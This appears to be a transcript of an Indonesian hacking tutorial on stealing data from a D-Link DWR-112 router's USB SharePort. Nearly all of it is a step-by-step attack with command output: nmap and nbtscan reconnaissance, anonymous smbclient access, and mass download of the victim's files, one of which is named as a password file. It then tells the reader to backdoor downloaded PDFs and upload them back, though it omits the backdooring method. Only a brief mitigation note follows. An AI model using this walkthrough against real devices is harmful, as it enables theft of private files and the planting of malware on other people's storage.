Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhartono

1

Information Theft

@Wireless Router SharePort for Fun(D)by. SatanicBrain

Pendahuluan

Perkembangan teknologi router wireless semakin berkembang ke arah Network

Storage, banyak sekali produk-produk router yang saat ini beredar dipasaran menyertakan

port-port usb yang digunakan untuk sharing media penyipanan dan printer. Salah satu

teknologinya adalah SharePort.

SharePort merupakan teknologi baru yang banyak diterapkan pada radio wireless

Access Point model-model terbaru, SharePort merupakan port usb yang biasa digunakan

untuk Folder Sharing dan Printer Sharing.

Tujuan adanya SharePort pada Access Point adalah agar user bisa mempergunakan

media penyimpanannya yang berupa usb Flashdisk maupun harddisk secara remote melalui

wireless, begitu juga dengan sharing printer yang diterapkannya agar user bisa melakukan

pencetakan secara remote melalui wireless juga.

Tanpa kita sadari pada teknologi tersebut sangatlah rentan terhadap tindakan

penyerangan yang dapat menimbulkan kerugian yang sangat besar, yaitu : pencurian data,

penghapusan data dan penanaman backdoor.

Target Attacking

Pada ujicoba kali ini,saya melakukan penyerangan terhadap devices dengan spesifikasi,

sbb :

Access Point : D-Link

Series AP : DWR-112

Firmware version : 1.04

USB Port 1 : USB Hub yang terkonekasi USB Flashdisk dan Printer

Persiapan Penyerangan Notebook : Cukup notebook dengan wireless apa saja.

OS : Saya mempergunakan BT R3.

2

Skenario Penyerangan

Keterangan :

Attacker akan melakukan penyerangan terhadap SharePort yang terdapat pada Access

Point melalui wireless.

Attacker akan masuk kedalam usb flashdisk maupun harddisk untuk melakukan

pencurian data dan kegiatan lainnya.

Attacker pun bisa melakukan penyerangan terhadap printer.

2


Keterangan :






2


Keterangan :






3

Melakukan Penyerangan1. Lakukan koneksi ke Access Point (AP) yang menjadi target. Cek koneksi ke AP :

root@bt:~# iwconfig

lo no wireless extensions.

wlan0 IEEE 802.11abg ESSID:"lirva32_was_here"Mode:Managed Frequency:2.457 GHz Access Point: C8:BE:19:8C:37:A4

Bit Rate=24 Mb/s Tx-Power=15 dBmRetry long limit:7 RTS thr:off Fragment thr:offEncryption key:offPower Management:offLink Quality=70/70 Signal level=-24 dBmRx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0Tx excessive retries:0 Invalid misc:0 Missed beacon:0

eth0 no wireless extensions.

2. Setelah koneksi berhasil, maka kita akan mendapatkan IP dari DHCP server. Sudah

menjadi kebiasaan jika AP didirikan selalu saja DHCP juga didirikan dengan tujuan

untuk mempermudah user melakukan koneksi ke wireless AP. Cek dapat IP berapa dari

DHCP Server :

root@bt:~# ifconfig

eth0 Link encap:Ethernet HWaddr 00:1d:72:19:45:4dUP BROADCAST MULTICAST MTU:1500 Metric:1RX packets:0 errors:0 dropped:0 overruns:0 frame:0TX packets:0 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)Interrupt:16

lo Link encap:Local Loopbackinet addr:127.0.0.1 Mask:255.0.0.0inet6 addr: ::1/128 Scope:HostUP LOOPBACK RUNNING MTU:16436 Metric:1RX packets:474 errors:0 dropped:0 overruns:0 frame:0TX packets:474 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:0RX bytes:145389 (145.3 KB) TX bytes:145389 (145.3 KB)

wlan0 Link encap:Ethernet HWaddr 00:1c:bf:00:5e:fbinet addr:192.168.0.100 Bcast:192.168.0.255 Mask:255.255.255.0inet6 addr: fe80::21c:bfff:fe00:5efb/64 Scope:LinkUP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1RX packets:1464 errors:0 dropped:0 overruns:0 frame:0TX packets:53 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000RX bytes:161210 (161.2 KB) TX bytes:7250 (7.2 KB)

Nah, devices wlan0 sudah mendapat IP dari DHCP, yaitu : 192.168.0.100 /24

4

3. Network Scannning, lakukan network scanning untuk mendapatkan target dengan baik

dan benar. Tadi kita sudah mendapatkan IP untuk wlan0 kan...?? yaitu : 192.168.0.100

/24, maka kita akan lakukan proses network scanning 1 range IP yaitu : 192.168.0.1 -

192.168.0.254.

root@bt:~# nmap -T4 -F 192.168.0.0/24

Starting Nmap 6.25 ( http://nmap.org ) at 2013-03-26 10:26 WITNmap scan report for 192.168.0.1Host is up (0.0081s latency).Not shown: 95 closed portsPORT STATE SERVICE53/tcp open domain80/tcp open http139/tcp open netbios-ssn445/tcp open microsoft-ds49152/tcp open unknownMAC Address: C8:BE:19:87:37:A4 (Unknown)

Nmap scan report for 192.168.0.100Host is up (0.000021s latency).Not shown: 99 closed portsPORT STATE SERVICE80/tcp open http

Nmap done: 256 IP addresses (2 hosts up) scanned in 34.24 second

Hasil analisa :

Port 139/tcp open netbios-ssn. Port ini merupakan port Netbios Session Service

yang biasanya digunakan untuk resource sharing pada windows. Contohnya adalah:

Folder dan File Sharing, Printer Sharing.

Port 445/tcp open microsoft-ds. Port ini merupakan port Microsoft Directory Services

yang biasanya digunakan untuk windows file sharing dan menyediakan banyak

layanan lainnya. Port 445/ tcp juga ada sangkutannya dengan SMB over IP (SMB is

known as "Samba"). Kedua Port tersebut yaitu : 139/tcp dan 445/tcp merupakan

port yang sejak dulu dikenal sangat rentan untuk diserang.

4. Mari kita lakukan proses scanning yang lebih mendalam terhadap IP yang sudah

ditargetkan untuk mendapatkan informasi yang lebih lengkap lagi.

5

root@bt:~# nmap -p 1-65535 -T4 -A -v 192.168.0.1

Starting Nmap 6.25 ( http://nmap.org ) at 2013-03-26 10:57 WITNSE: Loaded 106 scripts for scanning.NSE: Script Pre-scanning.Initiating ARP Ping Scan at 10:57Scanning 192.168.0.1 [1 port]Completed ARP Ping Scan at 10:57, 0.00s elapsed (1 total hosts)Initiating Parallel DNS resolution of 1 host. at 10:57Completed Parallel DNS resolution of 1 host. at 10:57, 13.00s elapsedInitiating SYN Stealth Scan at 10:57Scanning 192.168.0.1 [65535 ports]Discovered open port 53/tcp on 192.168.0.1Discovered open port 80/tcp on 192.168.0.1Discovered open port 139/tcp on 192.168.0.1Discovered open port 445/tcp on 192.168.0.1Discovered open port 49152/tcp on 192.168.0.1Completed SYN Stealth Scan at 10:58, 32.92s elapsed (65535 total ports)Initiating Service scan at 10:58Scanning 5 services on 192.168.0.1Completed Service scan at 10:58, 11.22s elapsed (5 services on 1 host)Initiating OS detection (try #1) against 192.168.0.1NSE: Script scanning 192.168.0.1.Initiating NSE at 10:58Completed NSE at 10:58, 7.50s elapsedNmap scan report for 192.168.0.1Host is up (0.0031s latency).Not shown: 65529 closed portsPORT STATE SERVICE VERSION1/tcp filtered tcpmux53/tcp open domain dnsmasq 2.45| dns-nsid:|_bind.version: dnsmasq-2.45

80/tcp open http?|_http-favicon: Unknown favicon MD5: 107579220745D3B21461C23024D6C4A3|_http-methods: No Allow or Public header in OPTIONS response (status code 501)|_http-title: D-LINK SYSTEMS, INC. | WIRELESS ROUTER | HOME

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)49152/tcp open unknown---

SF:99\x2017:22:07\x20GMT\r\nContent-Type:\x20text/html\r\nContent-Length:\SF:x20\x20\x20127\r\n\r\n<title>501\x20Not\x20Implemented</title>\n<h1>501SF:\x20Not\x20Implemented</h1>\nYour\x20request\x20was\x20not\x20understooSF:d\x20or\x20not\x20allowed\x20by\x20this\x20server\.\n");MAC Address: C8:BE:19:87:37:A4 (Unknown)Device type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.17 - 2.6.36Uptime guess: 0.054 days (since Tue Mar 26 09:41:33 2013)Network Distance: 1 hopTCP Sequence Prediction: Difficulty=206 (Good luck!)IP ID Sequence Generation: All zeros

6

Host script results:| smb-os-discovery:| OS: Unix (Samba 3.0.24)| NetBIOS computer name:| Workgroup: WORKGROUP|_ System time: 2000-01-01T01:22:11+08:00| smb-security-mode:| Account that was used for smb scripts: guest| Share-level authentication (dangerous)| SMB Security: Challenge/response passwords supported|_ Message signing disabled (dangerous, but default)|_smbv2-enabled: Server doesn't support SMBv2 protocol

TRACEROUTEHOP RTT ADDRESS1 3.12 ms 192.168.0.1

NSE: Script Post-scanning.Read data files from: /usr/local/bin/../share/nmapOS and Service detection performed. Please report any incorrect results athttp://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 68.65 seconds

Raw packets sent: 65681 (2.891MB) | Rcvd: 65630 (2.626MB)

Hasil analisa :* 53/tcp open domain dnsmasq 2.45* http-title: D-LINK SYSTEMS, INC. | WIRELESS ROUTER | HOME* 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)* 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)* MAC Address: C8:BE:19:87:37:A4 (Unknown)

Device type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6

* Host script results:| smb-os-discovery:| OS: Unix (Samba 3.0.24)| NetBIOS computer name:| Workgroup: WORKGROUP|_ System time: 2000-01-01T01:22:11+08:00| smb-security-mode:| Account that was used for smb scripts: guest| Share-level authentication (dangerous)| SMB Security: Challenge/response passwords supported|_ Message signing disabled (dangerous, but default)|_smbv2-enabled: Server doesn't support SMBv2 protocol

* Ternyata port 139/tcp dan 445/tcp mengaktifkan smbd 3.x dengannama workgroup : WORKGROUP

7

5. Llanjutkan pada proses berikutnya, yaitu mengidentifikasi smbd 3.x :root@bt:~# nbtscan 192.168.0.1Doing NBT name scan for addresses from 192.168.0.1

IP address NetBIOS Name Server User MAC address------------------------------------------------------------------------------192.168.0.1 DWR-112 <server> DWR-112 00-00-00-00-00-00

root@bt:~# nbtscan -v -s : 192.168.0.1192.168.0.1:DWR-112 ï¿½:00U192.168.0.1:DWR-112 ï¿½:03U192.168.0.1:DWR-112 ï¿½:20U192.168.0.1:DWR-112 ï¿½:00U192.168.0.1:DWR-112 ï¿½:03U192.168.0.1:DWR-112 ï¿½:20U192.168.0.1:WORKGROUP ï¿½:00G192.168.0.1:WORKGROUP ï¿½:1eG192.168.0.1:WORKGROUP ï¿½:00G192.168.0.1:WORKGROUP ï¿½:1eG192.168.0.1:MAC:00-00-00-00-00-00

Hasil analisa untuk smbd 3.x, yaitu : IP : 192.168.0.1 NetBIOS Name : DWR-112 Server : <server> User : DWR-112

6. Nah, sekarang saatnya kita lanjut pada proses penyerangan kepada media

penyimpanannya :

root@bt:~# smbclient -L 192.168.0.1Enter root's password:Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.24]

Sharename Type Comment--------- ---- -------Drive_A5 Disk Device(A) (SanDisk,Firebird USB Flash Drive)IPC$ IPC IPC Service (DWR-112)

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.24]

Server Comment--------- -------Workgroup Master

--------- -------

*ketika diminta password cukup tekan enter saja.

Hasil analisa : Sharename : Drive_A5, IPC$

8

7. Kini saatnya memperdayai media penyimpanan target melalui smb console :root@bt:~# smbclient //DWR-112/Drive_A5 ""Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.24]Server not using user level security and no password supplied.

smb: \> help? allinfo altname archive blocksizecancel case_sensitive cd chmod chownclose del dir du echoexit get getfacl hardlink helphistory iosize lcd link locklowercase ls l mask mdmget mkdir more mput neweropen posix posix_encrypt posix_open posix_mkdirposix_rmdir posix_unlink print prompt putpwd q queue quit rdrecurse reget rename reput rmrmdir showacls setmode stat symlinktar tarmode translate unlock volumevuid wdel logon listconnect showconnect.. !

smb: \>

[01] Melihat status koneksi ke smb :smb: \> showconnect//DWR-112/Drive_A5

[02] Melihat isi usb flashdisk target :smb: \> l. D 0 Thu Jan 1 07:00:00 1970.. D 0 Fri Dec 31 23:00:26 1999CCNA_Preparing D 0 Mon Nov 5 17:43:36 2012CCNA_Preparing - Copy D 0 Mon Nov 5 17:43:36 2012Copy please D 0 Wed Dec 5 13:51:24 2012ebook_pilihan D 8857314 Sat Nov 10 10:56:02 2012MODUL MIKROTIK D 0 Tue Aug 7 10:56:22 2012ModulWiFiOkeh_cetak D 0 Mon Dec 3 16:14:22 2012passwordspeedy.txt 471 Tue Nov 20 00:50:14 2012PENTESTER CAREER.pptx 3057314 Sat Nov 10 10:56:02 2012-*-*-*hal.dll 134400 Tue Aug 3 20:59:14 2004Modul DBA.docx 1027752 Wed Mar 13 15:29:54 2013ModulWireless_okeh_bgt.pdf 4624212 Fri Jan 11 10:40:48 2013

60xx1 blocks of size 6xx36. 15141 blocks available

9

[03] Mengambil isi usb flasdisk target :

root@bt:/# mkdir /home/hasilroot@bt:/# cd /home/hasil/

root@bt:/home/hasil# smbclient //DWR-112/Drive_A5 ""Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.24]Server not using user level security and no password supplied

smb: \> mget *.*Get file 3030-3040.jpg? yesgetting file \3030-3040.jpg of size 99947 as 3030-3040.jpg (1162.0KiloBytes/sec) (average 1162.0 KiloBytes/sec)

--

Get file hal.dll? yesgetting file \hal.dll of size 134400 as hal.dll (1274.3 KiloBytes/sec)(average 915.5 KiloBytes/sec)

Get file Modul_Wireless.pdf? yesgetting file \Modul_Wireless.pdf of size 5512257 as Modul_Wireless.pdf(2019.2 KiloBytes/sec)(average 2064.6 KiloBytes/sec)

Get file Modul_wokShop2_cetak.doc? yesgetting file \Modul_wokShop2_cetak.doc of size 32209354 asModul_wokShop2_cetak.doc (1850.8 KiloBytes/sec)(average 1917.6 KiloBytes/sec)

[05] Menanam backdoor ke isi usb flasdisk target :

Dowload file pdf dari usb target

smb: \ebook_pilihan\> mget *.pdf

Get file Modul_wokShop2.pdf? yesgetting file \jasakom_workshop2\Modul_wokShop2.pdf of size 5627760 asModul_wokShop2.pdf (2006.5 KiloBytes/sec)(average 2006.5 KiloBytes/sec)

nah, sekarang file *.pdf sudah kita dapatkan, kini saatnya file *.pdf tersebutAnda sisipkan backdoor. Maaf, saya tidak menulis bagaimana menyisipkanbackdoor kedalam *.pdf, silahkan dicari saja di google ;)

10

Setelah *.pdf Anda sisipkan backdoor, sekarang tinggal kita masukan saja*.pdf tersebut melalui smb console :

smb: \ebook_pilihan\> mput *.pdfPut file Modul_wokShop2.pdf? yesputting file Modul_wokShop2.pdf as \jasakom_workshop2\Modul_wokShop2.pdf(1245.9 kb/s) (average 1245.9 kb/s)---Put file MICROSOFT SQL SERVER 7.pdf? yesputting file MICROSOFT SQL SERVER 7.pdf as \jasakom_workshop2\MICROSOFTSQL SERVER 7.pdf (1124.3 kb/s)(average 1209.3 kb/s)

Melakukan Pengamanan

Ada beberapa cara untuk mengurangi ketidak amanan, hanya mengurani sajakok, yaitu :1. Usahakan untuk tidak mempergunakan fasilitas shareport terhadap usb flashdisk yg kita

miliki2. Amankan koneksi wireless AP dengan WPS, WPA2 dan MAC Filter agar wireless kita tidak

dipergunakan oleh pemakai yang tidak jelas.

Referensi

[1] http://www.samba.org/samba/docs/man/manpages-3/smbclient.1.html

Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhartono

Technology

Transcript of Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhartono